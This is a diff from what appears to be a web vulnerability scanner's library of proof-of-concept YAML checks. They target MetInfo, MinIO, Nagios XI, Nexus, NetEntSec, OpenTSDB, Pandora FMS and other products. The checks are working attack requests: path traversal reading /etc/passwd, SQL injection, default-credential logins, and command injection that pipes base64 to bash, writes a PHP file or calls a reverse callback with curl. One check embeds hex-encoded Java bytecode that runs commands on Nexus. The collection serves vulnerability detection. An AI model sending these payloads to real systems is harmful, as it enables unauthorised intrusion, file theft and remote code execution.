@@ +name: poc-yaml-metinfo-lfi-cnvd-2018-13393 +rules: + - method: GET + path: /include/thumb.php?dir=http\..\admin\login\login_check.php + follow_redirects: true + expression: | + response.body.bcontains(b"- + {"id":1,"jsonrpc":"2.0","params":{"username":"minioadmin","password":"minioadmin"},"method":"Web.Login"} + follow_redirects: false + expression: | + response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"uiVersion") && response.body.bcontains(b"token") + poc2: + - method: POST + path: /minio/webrpc + headers: + Content-Type: application/json + body: >- + {"id":1,"jsonrpc":"2.0","params":{"username":"minioadmin","password":"minioadmin"},"method":"web.Login"} + follow_redirects: false + expression: | + response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"uiVersion") && response.body.bcontains(b"token") +detail: + author: harris2015 + links: + - https://docs.min.io/cn/ diff --git a/WebScan/pocs/mpsec-isg1000-file-read.yml b/WebScan/pocs/mpsec-isg1000-file-read.yml new file mode 100644 index 0000000..f637775 --- /dev/null +++ b/WebScan/pocs/mpsec-isg1000-file-read.yml @@ -0,0 +1,11 @@ +name: poc-yaml-mpsec-isg1000-file-read +rules: + - method: GET + path: /webui/?g=sys_dia_data_down&file_name=../../../../../../../../../../../../etc/passwd + expression: | + response.status == 200 && response.content_type.contains("text/plain") && response.headers["set-cookie"].contains("USGSESSID=") && "root:[x*]?:0:0:".bmatches(response.body) +detail: + author: YekkoY + description: "迈普 ISG1000安全网关 任意文件下载漏洞" + links: + - http://wiki.peiqi.tech/PeiQi_Wiki/%E7%BD%91%E7%BB%9C%E8%AE%BE%E5%A4%87%E6%BC%8F%E6%B4%9E/%E8%BF%88%E6%99%AE/%E8%BF%88%E6%99%AE%20ISG1000%E5%AE%89%E5%85%A8%E7%BD%91%E5%85%B3%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8B%E8%BD%BD%E6%BC%8F%E6%B4%9E.html?h=isg1000 diff --git a/WebScan/pocs/msvod-sqli.yml b/WebScan/pocs/msvod-sqli.yml new file mode 100644 index 0000000..ef96ed2 --- /dev/null +++ b/WebScan/pocs/msvod-sqli.yml @@ -0,0 +1,12 @@ +name: poc-yaml-msvod-sqli +set: + r1: randomInt(800000000, 1000000000) +rules: + - method: GET + path: "/images/lists?cid=1 ) ORDER BY 1 desc,extractvalue(rand(),concat(0x7c,md5({{r1}}))) desc --+a" + expression: | + response.body.bcontains(bytes(substr(md5(string(r1)), 0, 31))) +detail: + author: jinqi + links: + - https://github.com/jinqi520 diff --git a/WebScan/pocs/myucms-lfr.yml b/WebScan/pocs/myucms-lfr.yml new file mode 100644 index 0000000..1be2b5b --- /dev/null +++ b/WebScan/pocs/myucms-lfr.yml @@ -0,0 +1,10 @@ +name: poc-yaml-myucms-lfr +rules: + - method: GET + path: /index.php/bbs/index/download?url=/etc/passwd&name=1.txt&local=1 + expression: | + response.status == 200 && "root:[x*]:0:0:".bmatches(response.body) +detail: + author: jinqi + links: + - https://github.com/jinqi520 diff --git a/WebScan/pocs/nagio-cve-2018-10735.yml b/WebScan/pocs/nagio-cve-2018-10735.yml new file mode 100644 index 0000000..d175984 --- /dev/null +++ b/WebScan/pocs/nagio-cve-2018-10735.yml @@ -0,0 +1,15 @@ +name: poc-yaml-nagio-cve-2018-10735 +set: + r: randomInt(2000000000, 2100000000) +rules: + - method: GET + path: /nagiosql/admin/commandline.php?cname=%27%20union%20select%20concat(md5({{r}}))%23 + follow_redirects: false + expression: | + response.body.bcontains(bytes(md5(string(r)))) +detail: + author: 0x_zmz(github.com/0x-zmz) + Affected Version: "Nagios XI 5.2.x以及小于5.4.13的5.4.x" + links: + - https://www.seebug.org/vuldb/ssvid-97265 + - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-10736 diff --git a/WebScan/pocs/nagio-cve-2018-10736.yml b/WebScan/pocs/nagio-cve-2018-10736.yml new file mode 100644 index 0000000..daf32d3 --- /dev/null +++ b/WebScan/pocs/nagio-cve-2018-10736.yml @@ -0,0 +1,15 @@ +name: poc-yaml-nagio-cve-2018-10736 +set: + r: randomInt(2000000000, 2100000000) +rules: + - method: GET + path: /nagiosql/admin/info.php?key1=%27%20union%20select%20concat(md5({{r}}))%23 + follow_redirects: false + expression: | + response.body.bcontains(bytes(md5(string(r)))) +detail: + author: 0x_zmz(github.com/0x-zmz) + Affected Version: "Nagios XI 5.2.x以及小于5.4.13的5.4.x" + links: + - https://www.seebug.org/vuldb/ssvid-97266 + - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-10736 diff --git a/WebScan/pocs/nagio-cve-2018-10737.yml b/WebScan/pocs/nagio-cve-2018-10737.yml new file mode 100644 index 0000000..9aa2734 --- /dev/null +++ b/WebScan/pocs/nagio-cve-2018-10737.yml @@ -0,0 +1,19 @@ +name: poc-yaml-nagio-cve-2018-10737 +set: + r: randomInt(2000000000, 2100000000) +rules: + - method: POST + path: /nagiosql/admin/logbook.php + headers: + Content-Type: application/x-www-form-urlencoded + body: + txtSearch=' and (select 1 from(select count(*),concat((select (select (select md5({{r}}))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)# + follow_redirects: false + expression: | + response.body.bcontains(bytes(md5(string(r)))) +detail: + author: 0x_zmz(github.com/0x-zmz) + Affected Version: "Nagios XI 5.2.x以及小于5.4.13的5.4.x" + links: + - https://www.seebug.org/vuldb/ssvid-97267 + - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-10737 diff --git a/WebScan/pocs/nagio-cve-2018-10738.yml b/WebScan/pocs/nagio-cve-2018-10738.yml new file mode 100644 index 0000000..465c9d2 --- /dev/null +++ b/WebScan/pocs/nagio-cve-2018-10738.yml @@ -0,0 +1,19 @@ +name: poc-yaml-nagio-cve-2018-10738 +set: + r: randomInt(2000000000, 2100000000) +rules: + - method: POST + path: /nagiosql/admin/menuaccess.php + headers: + Content-Type: application/x-www-form-urlencoded + body: + selSubMenu=1&subSave=1&chbKey1=-1%' and (select 1 from(select count(*),concat((select (select (select md5({{r}}))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)# + follow_redirects: false + expression: | + response.body.bcontains(bytes(md5(string(r)))) +detail: + author: 0x_zmz(github.com/0x-zmz) + Affected Version: "Nagios XI 5.2.x以及小于5.4.13的5.4.x" + links: + - https://www.seebug.org/vuldb/ssvid-97268 + - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-10738 diff --git a/WebScan/pocs/natshell-arbitrary-file-read.yml b/WebScan/pocs/natshell-arbitrary-file-read.yml new file mode 100644 index 0000000..3ed47f5 --- /dev/null +++ b/WebScan/pocs/natshell-arbitrary-file-read.yml @@ -0,0 +1,12 @@ +name: poc-yaml-natshell-arbitrary-file-read +rules: + - method: GET + path: /download.php?file=../../../../../etc/passwd + follow_redirects: false + expression: | + response.status == 200 && "(root|toor):[x*]:0:0:".bmatches(response.body) + +detail: + author: Print1n(http://print1n.top) + links: + - https://mp.weixin.qq.com/s/g4YNI6UBqIQcKL0TRkKWlw diff --git a/WebScan/pocs/netentsec-icg-default-password.yml b/WebScan/pocs/netentsec-icg-default-password.yml new file mode 100644 index 0000000..aefa5fb --- /dev/null +++ b/WebScan/pocs/netentsec-icg-default-password.yml @@ -0,0 +1,11 @@ +name: poc-yaml-netentsec-icg-default-password +rules: + - method: POST + path: /user/login/checkPermit + body: usrname=ns25000&pass=ns25000 + expression: | + response.status == 200 && response.body.bcontains(b"\"agreed\":true") +detail: + author: B1anda0(https://github.com/B1anda0) + links: + - https://www.cnvd.org.cn/flaw/show/CNVD-2016-08603 \ No newline at end of file diff --git a/WebScan/pocs/netentsec-ngfw-rce.yml b/WebScan/pocs/netentsec-ngfw-rce.yml index bff8b28..dd0995f 100644 --- a/WebScan/pocs/netentsec-ngfw-rce.yml +++ b/WebScan/pocs/netentsec-ngfw-rce.yml @@ -1,19 +1,19 @@ name: poc-yaml-netentsec-ngfw-rce set: - r1: randomLowercase(4) - r2: randomLowercase(4) - r3: randomInt(800000000, 1000000000) - r4: randomInt(800000000, 1000000000) + r2: randomLowercase(10) rules: - method: POST path: /directdata/direct/router - body: >- - {"action":"SSLVPN_Resource", "method":"deleteImage", "data":[{"data":["/var/www/html/{{r1}};expr {{r3}} + {{r4}} > /var/www/html/{{r2}}"]}], "type":"rpc", "tid":17, "f8839p7rqtj":"="} - expression: response.status == 200 + body: | + {"action":"SSLVPN_Resource","method":"deleteImage","data":[{"data":["/var/www/html/d.txt;echo '' >/var/www/html/{{r2}}.php"]}],"type":"rpc","tid":17} + expression: | + response.status == 200 && response.body.bcontains(b"SSLVPN_Resource") && response.body.bcontains(b"\"result\":{\"success\":true}") - method: GET - path: /{{r2}} - expression: response.status == 200 && response.body.bcontains(bytes(string(r3 + r4))) + path: /{{r2}}.php + expression: | + response.status == 200 && response.body.bcontains(bytes(md5(r2))) detail: - author: jingling(https://github.com/shmilylty) + author: YekkoY + description: "网康下一代防火墙_任意命令执行漏洞" links: - - https://mp.weixin.qq.com/s/wH5luLISE_G381W2ssv93g \ No newline at end of file + - https://mp.weixin.qq.com/s/wH5luLISE_G381W2ssv93g diff --git a/WebScan/pocs/netgear-cve-2017-5521.yml b/WebScan/pocs/netgear-cve-2017-5521.yml new file mode 100644 index 0000000..dc703c1 --- /dev/null +++ b/WebScan/pocs/netgear-cve-2017-5521.yml @@ -0,0 +1,11 @@ +name: poc-yaml-netgear-cve-2017-5521 +rules: + - method: POST + path: /passwordrecovered.cgi?id=get_rekt + follow_redirects: false + expression: | + response.status == 200 && "right\">Router\\s*Admin\\s*Username<".bmatches(response.body) && "right\">Router\\s*Admin\\s*Password<".bmatches(response.body) && response.body.bcontains(b"left") +detail: + author: betta(https://github.com/betta-cyber) + links: + - https://www.cnblogs.com/xiaoxiaoleo/p/6360260.html diff --git a/WebScan/pocs/nextjs-cve-2017-16877.yml b/WebScan/pocs/nextjs-cve-2017-16877.yml new file mode 100644 index 0000000..45324a1 --- /dev/null +++ b/WebScan/pocs/nextjs-cve-2017-16877.yml @@ -0,0 +1,13 @@ +name: poc-yaml-nextjs-cve-2017-16877 +rules: + - method: GET + path: /_next/../../../../../../../../../../etc/passwd + follow_redirects: false + expression: > + response.status == 200 && "root:[x*]:0:0:".bmatches(response.body) +detail: + version: <2.4.1 + author: Loneyer + links: + - https://github.com/Loneyers/vuldocker/tree/master/next.js + - https://medium.com/@theRaz0r/arbitrary-file-reading-in-next-js-2-4-1-34104c4e75e9 diff --git a/WebScan/pocs/nexus-cve-2019-7238.yml b/WebScan/pocs/nexus-cve-2019-7238.yml index 69d5bc4..acc0dd8 100644 --- a/WebScan/pocs/nexus-cve-2019-7238.yml +++ b/WebScan/pocs/nexus-cve-2019-7238.yml @@ -10,7 +10,7 @@ rules: body: | {"action": "coreui_Component", "type": "rpc", "tid": 8, "data": [{"sort": [{"direction": "ASC", "property": "name"}], "start": 0, "filter": [{"property": "repositoryName", "value": "*"}, {"property": "expression", "value": "function(x, y, z, c, integer, defineClass){ c=1.class.forName('java.lang.Character'); integer=1.class; x='cafebabe0000003100ae0a001f00560a005700580a005700590a005a005b0a005a005c0a005d005e0a005d005f0700600a000800610a006200630700640800650a001d00660800410a001d00670a006800690a0068006a08006b08004508006c08006d0a006e006f0a006e00700a001f00710a001d00720800730a000800740800750700760a001d00770700780a0079007a08007b08007c07007d0a0023007e0a0023007f0700800100063c696e69743e010003282956010004436f646501000f4c696e654e756d6265725461626c650100124c6f63616c5661726961626c655461626c65010004746869730100114c4578706c6f69742f546573743233343b01000474657374010015284c6a6176612f6c616e672f537472696e673b29560100036f626a0100124c6a6176612f6c616e672f4f626a6563743b0100016901000149010003636d640100124c6a6176612f6c616e672f537472696e673b01000770726f636573730100134c6a6176612f6c616e672f50726f636573733b01000269730100154c6a6176612f696f2f496e70757453747265616d3b010006726573756c740100025b42010009726573756c745374720100067468726561640100124c6a6176612f6c616e672f5468726561643b0100056669656c640100194c6a6176612f6c616e672f7265666c6563742f4669656c643b01000c7468726561644c6f63616c7301000e7468726561644c6f63616c4d61700100114c6a6176612f6c616e672f436c6173733b01000a7461626c654669656c640100057461626c65010005656e74727901000a76616c75654669656c6401000e68747470436f6e6e656374696f6e01000e48747470436f6e6e656374696f6e0100076368616e6e656c01000b487474704368616e6e656c010008726573706f6e7365010008526573706f6e73650100067772697465720100154c6a6176612f696f2f5072696e745772697465723b0100164c6f63616c5661726961626c65547970655461626c650100144c6a6176612f6c616e672f436c6173733c2a3e3b01000a457863657074696f6e7307008101000a536f7572636546696c6501000c546573743233342e6a6176610c002700280700820c008300840c008500860700870c008800890c008a008b07008c0c008d00890c008e008f0100106a6176612f6c616e672f537472696e670c002700900700910c009200930100116a6176612f6c616e672f496e74656765720100106a6176612e6c616e672e5468726561640c009400950c009600970700980c0099009a0c009b009c0100246a6176612e6c616e672e5468726561644c6f63616c245468726561644c6f63616c4d617001002a6a6176612e6c616e672e5468726561644c6f63616c245468726561644c6f63616c4d617024456e74727901000576616c756507009d0c009e009f0c009b00a00c00a100a20c00a300a40100276f72672e65636c697073652e6a657474792e7365727665722e48747470436f6e6e656374696f6e0c00a500a601000e676574487474704368616e6e656c01000f6a6176612f6c616e672f436c6173730c00a700a80100106a6176612f6c616e672f4f626a6563740700a90c00aa00ab01000b676574526573706f6e73650100096765745772697465720100136a6176612f696f2f5072696e745772697465720c00ac002f0c00ad002801000f4578706c6f69742f546573743233340100136a6176612f6c616e672f457863657074696f6e0100116a6176612f6c616e672f52756e74696d6501000a67657452756e74696d6501001528294c6a6176612f6c616e672f52756e74696d653b01000465786563010027284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f50726f636573733b0100116a6176612f6c616e672f50726f6365737301000777616974466f7201000328294901000e676574496e70757453747265616d01001728294c6a6176612f696f2f496e70757453747265616d3b0100136a6176612f696f2f496e70757453747265616d010009617661696c61626c6501000472656164010007285b4249492949010005285b4229560100106a6176612f6c616e672f54687265616401000d63757272656e7454687265616401001428294c6a6176612f6c616e672f5468726561643b010007666f724e616d65010025284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f436c6173733b0100106765744465636c617265644669656c6401002d284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f7265666c6563742f4669656c643b0100176a6176612f6c616e672f7265666c6563742f4669656c6401000d73657441636365737369626c65010004285a2956010003676574010026284c6a6176612f6c616e672f4f626a6563743b294c6a6176612f6c616e672f4f626a6563743b0100176a6176612f6c616e672f7265666c6563742f41727261790100096765744c656e677468010015284c6a6176612f6c616e672f4f626a6563743b2949010027284c6a6176612f6c616e672f4f626a6563743b49294c6a6176612f6c616e672f4f626a6563743b010008676574436c61737301001328294c6a6176612f6c616e672f436c6173733b0100076765744e616d6501001428294c6a6176612f6c616e672f537472696e673b010006657175616c73010015284c6a6176612f6c616e672f4f626a6563743b295a0100096765744d6574686f64010040284c6a6176612f6c616e672f537472696e673b5b4c6a6176612f6c616e672f436c6173733b294c6a6176612f6c616e672f7265666c6563742f4d6574686f643b0100186a6176612f6c616e672f7265666c6563742f4d6574686f64010006696e766f6b65010039284c6a6176612f6c616e672f4f626a6563743b5b4c6a6176612f6c616e672f4f626a6563743b294c6a6176612f6c616e672f4f626a6563743b0100057772697465010005636c6f736500210026001f000000000002000100270028000100290000002f00010001000000052ab70001b100000002002a00000006000100000009002b0000000c000100000005002c002d00000009002e002f0002002900000304000400140000013eb800022ab600034c2bb60004572bb600054d2cb60006bc084e2c2d032cb60006b6000757bb0008592db700093a04b8000a3a05120b57120cb8000d120eb6000f3a06190604b6001019061905b600113a07120b571212b8000d3a0819081213b6000f3a09190904b6001019091907b600113a0a120b571214b8000d3a0b190b1215b6000f3a0c190c04b60010013a0d03360e150e190ab80016a2003e190a150eb800173a0f190fc70006a70027190c190fb600113a0d190dc70006a70016190db60018b60019121ab6001b990006a70009840e01a7ffbe190db600183a0e190e121c03bd001db6001e190d03bd001fb600203a0f190fb600183a101910122103bd001db6001e190f03bd001fb600203a111911b600183a121912122203bd001db6001e191103bd001fb60020c000233a1319131904b600241913b60025b100000003002a0000009600250000001600080017000d0018001200190019001a0024001b002e001d0033001f004200200048002100510023005b002500640026006a002700730029007d002a0086002b008c002d008f002f009c003100a5003200aa003300ad003500b6003600bb003700be003900ce003a00d1002f00d7003d00de003e00f4003f00fb004001110041011800420131004401380045013d0049002b000000de001600a5002c00300031000f0092004500320033000e0000013e003400350000000801360036003700010012012c00380039000200190125003a003b0003002e0110003c003500040033010b003d003e0005004200fc003f00400006005100ed004100310007005b00e3004200430008006400da004400400009007300cb00450031000a007d00c100460043000b008600b800470040000c008f00af00480031000d00de006000490043000e00f4004a004a0031000f00fb0043004b004300100111002d004c0031001101180026004d004300120131000d004e004f00130050000000340005005b00e3004200510008007d00c100460051000b00de006000490051000e00fb0043004b0051001001180026004d005100120052000000040001005300010054000000020055'; y=0; z=''; while (y lt x.length()){ z += c.toChars(integer.parseInt(x.substring(y, y+2), 16))[0]; y += 2; };defineClass=2.class.forName('java.lang.Thread');x=defineClass.getDeclaredMethod('currentThread').invoke(null);y=defineClass.getDeclaredMethod('getContextClassLoader').invoke(x);defineClass=2.class.forName('java.lang.ClassLoader').getDeclaredMethod('defineClass','1'.class,1.class.forName('[B'),1.class.forName('[I').getComponentType(),1.class.forName('[I').getComponentType()); \ndefineClass.setAccessible(true);\nx=defineClass.invoke(\n y,\n 'Exploit.Test234',\n z.getBytes('latin1'), 0,\n 3054\n);x.getMethod('test', ''.class).invoke(null, 'expr {{r1}} + {{r2}}');'done!'}\n"}, {"property": "type", "value": "jexl"}], "limit": 50, "page": 1}], "method": "previewAssets"} expression: | - response.status == 200 && response.body.bcontains(bytes(string(r1 + r2))) + response.status == 200 && response.content_type.contains("json") && response.body.bcontains(bytes(string(r1 + r2))) detail: Affected Version: "nexus<3.15" author: hanxiansheng26(https://github.com/hanxiansheng26) diff --git a/WebScan/pocs/nexus-default-password.yml b/WebScan/pocs/nexus-default-password.yml index 5a27c24..4da28cf 100644 --- a/WebScan/pocs/nexus-default-password.yml +++ b/WebScan/pocs/nexus-default-password.yml @@ -1,22 +1,15 @@ name: poc-yaml-nexus-default-password rules: - method: GET - path: /nexus/service/siesta/capabilities - expression: > - response.status == 401 - - method: GET - path: /nexus/service/local/authentication/login + path: /service/local/authentication/login + follow_redirects: false headers: Accept: application/json Authorization: Basic YWRtaW46YWRtaW4xMjM= expression: > - response.status == 200 - - method: GET - path: /nexus/service/siesta/capabilities - expression: > - response.status == 200 + response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"loggedIn") detail: author: Soveless(https://github.com/Soveless) Affected Version: "Nexus Repository Manager OSS" links: - - https://help.sonatype.com/learning/repository-manager-3/first-time-installation-and-setup/lesson-1%3A--installing-and-starting-nexus-repository-manager \ No newline at end of file + - https://help.sonatype.com/learning/repository-manager-3/first-time-installation-and-setup/lesson-1%3A--installing-and-starting-nexus-repository-manager diff --git a/WebScan/pocs/nexusdb-cve-2020-24571-path-traversal.yml b/WebScan/pocs/nexusdb-cve-2020-24571-path-traversal.yml new file mode 100644 index 0000000..fd44624 --- /dev/null +++ b/WebScan/pocs/nexusdb-cve-2020-24571-path-traversal.yml @@ -0,0 +1,11 @@ +name: poc-yaml-nexusdb-cve-2020-24571-path-traversal +rules: + - method: GET + path: /../../../../../../../../windows/win.ini + follow_redirects: true + expression: > + response.status == 200 && response.body.bcontains(bytes("[extensions]")) && response.content_type.contains("application/octet-stream") +detail: + author: su(https://suzzz112113.github.io/#blog) + links: + - https://www.nexusdb.com/mantis/bug_view_advanced_page.php?bug_id=2371 \ No newline at end of file diff --git a/WebScan/pocs/nhttpd-cve-2019-16278.yml b/WebScan/pocs/nhttpd-cve-2019-16278.yml new file mode 100644 index 0000000..60ea0e0 --- /dev/null +++ b/WebScan/pocs/nhttpd-cve-2019-16278.yml @@ -0,0 +1,19 @@ +name: poc-yaml-nhttpd-cve-2019-16278 +set: + r1: randomInt(800000000, 1000000000) + r2: randomInt(800000000, 1000000000) +rules: + - method: POST + path: "/.%0d./.%0d./.%0d./.%0d./bin/sh HTTP/1.0" + body: | + echo + echo + expr {{r1}} + {{r2}} 2>&1 + expression: > + response.status == 200 && response.body.bcontains(bytes(string(r1 + r2))) + +detail: + author: Loneyer + versions: <= 1.9.6 + links: + - https://git.sp0re.sh/sp0re/Nhttpd-exploits diff --git a/WebScan/pocs/node-red-dashboard-file-read-cve-2021-3223.yml b/WebScan/pocs/node-red-dashboard-file-read-cve-2021-3223.yml new file mode 100644 index 0000000..a1373dd --- /dev/null +++ b/WebScan/pocs/node-red-dashboard-file-read-cve-2021-3223.yml @@ -0,0 +1,10 @@ +name: poc-yaml-node-red-dashboard-file-read-cve-2021-3223 +rules: + - method: GET + path: /ui_base/js/..%2f..%2f..%2f..%2fsettings.js + expression: | + response.status == 200 && response.body.bcontains(bytes("Node-RED web server is listening")) && response.body.bcontains(bytes("username")) && response.body.bcontains(bytes("password")) +detail: + author: Print1n(http://print1n.top) + links: + - https://mp.weixin.qq.com/s/KRGKXAJQawXl88RBPTaAeg diff --git a/WebScan/pocs/novnc-url-redirection-cve-2021-3654.yml b/WebScan/pocs/novnc-url-redirection-cve-2021-3654.yml new file mode 100644 index 0000000..c38d09c --- /dev/null +++ b/WebScan/pocs/novnc-url-redirection-cve-2021-3654.yml @@ -0,0 +1,16 @@ +name: poc-yaml-novnc-url-redirection-cve-2021-3654 +rules: + - method: GET + path: / + follow_redirects: false + expression: | + response.status == 200 && response.body.bcontains(b"noVNC") + - method: GET + path: "//baidu.com/%2f.." + follow_redirects: false + expression: | + response.status == 301 && response.headers["location"] == "//baidu.com/%2f../" +detail: + author: txf(https://github.com/tangxiaofeng7) + links: + - https://seclists.org/oss-sec/2021/q3/188 diff --git a/WebScan/pocs/nps-default-password.yml b/WebScan/pocs/nps-default-password.yml new file mode 100644 index 0000000..ddeb1d0 --- /dev/null +++ b/WebScan/pocs/nps-default-password.yml @@ -0,0 +1,8 @@ +name: poc-yaml-nps-default-password +rules: + - method: POST + path: /login/verify + body: username=admin&password=123 + follow_redirects: true + expression: | + response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"login success") diff --git a/WebScan/pocs/ns-asg-file-read.yml b/WebScan/pocs/ns-asg-file-read.yml new file mode 100644 index 0000000..db1a654 --- /dev/null +++ b/WebScan/pocs/ns-asg-file-read.yml @@ -0,0 +1,11 @@ +name: poc-yaml-ns-asg-file-read +rules: + - method: GET + path: "/admin/cert_download.php?file=pqpqpqpq.txt&certfile=cert_download.php" + expression: | + response.status == 200 && response.body.bcontains(b"$certfile") && response.body.bcontains(b"application/pdf") +detail: + author: YekkoY + description: "网康 NS-ASG安全网关 任意文件读取漏洞" + links: + - http://wiki.xypbk.com/Web%E5%AE%89%E5%85%A8/%E7%BD%91%E5%BA%B7%20NS-ASG%E5%AE%89%E5%85%A8%E7%BD%91%E5%85%B3/%E7%BD%91%E5%BA%B7%20NS-ASG%E5%AE%89%E5%85%A8%E7%BD%91%E5%85%B3%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E.md \ No newline at end of file diff --git a/WebScan/pocs/nsfocus-uts-password-leak.yml b/WebScan/pocs/nsfocus-uts-password-leak.yml new file mode 100644 index 0000000..df62c9b --- /dev/null +++ b/WebScan/pocs/nsfocus-uts-password-leak.yml @@ -0,0 +1,11 @@ +name: poc-yaml-nsfocus-uts-password-leak +rules: + - method: GET + path: /webapi/v1/system/accountmanage/account + follow_redirects: false + expression: | + response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"account") && response.body.bcontains(b"password") +detail: + author: MrP01ntSun(https://github.com/MrPointSun) + links: + - https://blog.csdn.net/DFMASTER/article/details/108547352 diff --git a/WebScan/pocs/nuuo-file-inclusion.yml b/WebScan/pocs/nuuo-file-inclusion.yml new file mode 100644 index 0000000..b6b5be4 --- /dev/null +++ b/WebScan/pocs/nuuo-file-inclusion.yml @@ -0,0 +1,10 @@ +name: poc-yaml-nuuo-file-inclusion +rules: + - method: GET + path: /css_parser.php?css=css_parser.php + follow_redirects: false + expression: response.status == 200 && response.headers["content-type"] == "text/css" && response.body.bcontains(b"$_GET['css']") +detail: + author: 2357000166(https://github.com/2357000166) + links: + - https://www.exploit-db.com/exploits/40211 \ No newline at end of file diff --git a/WebScan/pocs/odoo-file-read.yml b/WebScan/pocs/odoo-file-read.yml new file mode 100644 index 0000000..9df5cfd --- /dev/null +++ b/WebScan/pocs/odoo-file-read.yml @@ -0,0 +1,14 @@ +name: poc-yaml-odoo-file-read +groups: + win: + - method: GET + path: "/base_import/static/c:/windows/win.ini" + expression: response.status == 200 && response.body.bcontains(b"for 16-bit app support") + linux: + - method: GET + path: "/base_import/static/etc/passwd" + expression: response.status == 200 && r'root:[x*]:0:0:'.bmatches(response.body) +detail: + author: amos1 + links: + - https://quake.360.cn/quake/#/vulDetail/QH-202006-1954/checked diff --git a/WebScan/pocs/openfire-cve-2019-18394-ssrf.yml b/WebScan/pocs/openfire-cve-2019-18394-ssrf.yml new file mode 100644 index 0000000..2f80e08 --- /dev/null +++ b/WebScan/pocs/openfire-cve-2019-18394-ssrf.yml @@ -0,0 +1,12 @@ +name: poc-yaml-openfire-cve-2019-18394-ssrf +rules: + - method: GET + path: /getFavicon?host=baidu.com/? + follow_redirects: false + expression: | + response.status == 200 && response.content_type.contains("image/x-icon") && response.body.bcontains(bytes("baidu.com")) +detail: + author: su(https://suzzz112113.github.io/#blog) + links: + - https://www.cnvd.org.cn/patchInfo/show/192993 + - https://www.cnblogs.com/potatsoSec/p/13437713.html diff --git a/WebScan/pocs/opentsdb-cve-2020-35476-rce.yml b/WebScan/pocs/opentsdb-cve-2020-35476-rce.yml new file mode 100644 index 0000000..52ac507 --- /dev/null +++ b/WebScan/pocs/opentsdb-cve-2020-35476-rce.yml @@ -0,0 +1,50 @@ +name: poc-yaml-opentsdb-cve-2020-35476-rce +set: + r1: randomLowercase(3) + r2: randomLowercase(3) + r3: randomLowercase(3) + r4: randomInt(1024, 65535) +rules: + - method: GET + path: "/s/opentsdb_header.jpg" + follow_redirects: false + expression: | + response.status == 200 && response.content_type.contains("text/plain") && response.body.bcontains(b"\xff\xd8\xff\xe1") + - method: POST + body: |- + [ + { + "metric": "{{r1}}.{{r2}}.{{r3}}", + "timestamp": 1608700420, + "value": {{r4}}, + "tags": { + "host": "web01", + "dc": "lga" + } + }, + { + "metric": "{{r1}}.{{r2}}.{{r3}}", + "timestamp": 1608700421, + "value": {{r4}}, + "tags": { + "host": "web02", + "dc": "lga" + } + } + ] + path: "/api/put" + follow_redirects: false + expression: | + sleep(5) && response.status == 204 && response.content_type.contains("json") + - method: GET + path: "/q?start=2000/10/21-00:00:00&end=2020/12/25-00:00:00&m=sum:{{r1}}.{{r2}}.{{r3}}&o=&yrange=[0:system('echo%20-e%20\"ZWNobyAxMjMgfG1kNXN1bSAxPiYyCg==\"%20|%20base64%20-d%20|bash')]&wxh=1698x316&style=linespoint&json" + follow_redirects: false + expression: | + response.status == 400 && response.content_type.contains("json") && "ba1f2511fc30423bdbb183fe33f3dd0f".bmatches(response.body) + +detail: + author: mvhz81 + info: opentsdb-cve-2020-35476-rce + links: + - https://blog.csdn.net/xuandao_ahfengren/article/details/111402955 + - https://hub.docker.com/r/petergrace/opentsdb-docker \ No newline at end of file diff --git a/WebScan/pocs/panabit-gateway-default-password.yml b/WebScan/pocs/panabit-gateway-default-password.yml new file mode 100644 index 0000000..ca88007 --- /dev/null +++ b/WebScan/pocs/panabit-gateway-default-password.yml @@ -0,0 +1,11 @@ +name: poc-yaml-panabit-gateway-default-password +rules: + - method: POST + path: /login/userverify.cgi + body: username=admin&password=panabit + expression: | + response.status == 200 && response.headers["Set-Cookie"].contains("paonline_admin") && response.body.bcontains(b"URL=/index.htm") +detail: + author: Print1n(https://github.com/Print1n) + links: + - https://max.book118.com/html/2017/0623/117514590.shtm \ No newline at end of file diff --git a/WebScan/pocs/panabit-ixcache-default-password.yml b/WebScan/pocs/panabit-ixcache-default-password.yml new file mode 100644 index 0000000..e56d4a7 --- /dev/null +++ b/WebScan/pocs/panabit-ixcache-default-password.yml @@ -0,0 +1,11 @@ +name: poc-yaml-panabit-ixcache-default-password +rules: + - method: POST + path: /login/userverify.cgi + body: username=admin&password=ixcache + expression: | + response.status == 200 && response.body.bcontains(b"URL=/cgi-bin/monitor.cgi") +detail: + author: B1anda0(https://github.com/B1anda0) + links: + - http://forum.panabit.com/thread-10830-1-1.html \ No newline at end of file diff --git a/WebScan/pocs/pandorafms-cve-2019-20224-rce.yml b/WebScan/pocs/pandorafms-cve-2019-20224-rce.yml new file mode 100644 index 0000000..913183d --- /dev/null +++ b/WebScan/pocs/pandorafms-cve-2019-20224-rce.yml @@ -0,0 +1,20 @@ +name: poc-yaml-pandorafms-cve-2019-20224-rce +set: + reverse: newReverse() + reverseURL: reverse.url +rules: + - method: POST + path: >- + /pandora_console/index.php?sec=netf&sec2=operation/netflow/nf_live_view&pure=0 + headers: + Content-Type: application/x-www-form-urlencoded + body: >- + date=0&time=0&period=0&interval_length=0&chart_type=netflow_area&max_aggregates=1&address_resolution=0&name=0&assign_group=0&filter_type=0&filter_id=0&filter_selected=0&ip_dst=0&ip_src=%22%3Bcurl+{{reverseURL}}+%23&draw_button=Draw + follow_redirects: true + expression: | + response.status == 200 && reverse.wait(5) +detail: + author: JingLing(https://hackfun.org/) + version: Pandora FMS v7.0NG + links: + - https://shells.systems/pandorafms-v7-0ng-authenticated-remote-code-execution-cve-2019-20224/ diff --git a/WebScan/pocs/pbootcms-database-file-download.yml 